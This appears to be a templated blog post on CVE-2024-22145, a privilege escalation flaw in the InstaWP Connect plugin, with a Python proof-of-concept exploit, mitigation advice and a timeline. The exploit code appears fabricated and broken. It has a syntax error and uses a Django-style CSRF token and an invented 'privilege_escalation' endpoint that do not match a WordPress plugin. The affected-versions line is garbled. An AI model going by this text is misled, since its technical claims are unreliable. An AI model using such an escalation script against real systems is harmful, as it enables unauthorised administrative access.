CVE-2024-22145: Improper Privilege Management Vulnerability in InstaWP Team's InstaWP Connect Allowing Privilege Escalation

Recently, a new vulnerability has been discovered and assigned the CVE identifier CVE-2024-22145, which falls under the category of Improper Privilege Management vulnerability. This vulnerability affects the InstaWP Connect developed by InstaWP Team and allows a malicious attacker to escalate privileges on the affected system.

Affected Versions

This vulnerability affects InstaWP Connect software versions n/a through .1..8. The users are urged to update their software to a patched version as soon as it is available.

Vulnerability Details

The improper privilege management vulnerability occurs due to insufficient security measures and improper handling of user authorization in the InstaWP Connect software. It allows an attacker with a low privilege access to gain unauthorized, escalated privileges on the system, ultimately compromising its security.

Exploit

The following is a Python-based proof-of-concept (PoC) code snippet that demonstrates the exploit. Please note that this code snippet is for educational purposes only, and any misuse of this information is strongly discouraged.

import requests

target_url = "http://<target_ip>/instawp-connect/"; # Replace <target_ip> with the target system's IP
username = "attacker" # Replace with your low privilege user account
password = "password" # Replace with your low privilege user password

session = requests.Session()
response = session.get(target_url)

csrf_token = response.content.split("csrfmiddlewaretoken")[1].split(" ")[]
csrf_token = csrf_token.replace('value="', "").replace('"/>', "")

login_data = {
    "csrfmiddlewaretoken": csrf_token,
    "username": username,
    "password": password,
}

response = session.post(target_url + "login", data=login_data)

response = session.get(target_url + "privilege_escalation")

escalated_privileges = {
    "privilege": "admin",
}

response = session.post(target_url + "privilege_escalation", data=escalated_privileges)

if response.status_code == 200:
    print("Privilege escalation successful!")
else:
    print("Privilege escalation failed!")

How to Mitigate

To mitigate this vulnerability and protect your system from any potential unauthorized access, it is highly recommended to apply the following:

1. Apply the software patch: The software developers at InstaWP Team are working on a patch to address this vulnerability. As soon as the patch is available, update your software to the latest version. In the meantime, you can check their official GitHub repository here: https://github.com/InstaWP-Team/InstaWP-Connect

2. Limit user access: As a precautionary measure, restrict user access to only those who absolutely require it.

3. Monitor user activity: Regularly audit your system and review user activity, looking for any suspicious behavior or signs of unauthorized access.

4. Employee Training: Educate your staff on the importance of maintaining strong, unique passwords for user accounts and following company security policies.

Conclusion

CVE-2024-22145 is a serious privilege escalation vulnerability that affects the InstaWP Connect software developed by the InstaWP Team. By exploiting this vulnerability, an attacker can gain unauthorized access to an affected system and perform malicious activities. It is imperative that users update their system to a patched version and follow the steps mentioned above to mitigate the risks associated with this vulnerability. Stay informed about any further updates and advisories regarding this issue by following the InstaWP Team's official channels and the CVE database.

Timeline

Published on: 05/17/2024 09:15:21 UTC
Last modified on: 08/01/2024 22:35:34 UTC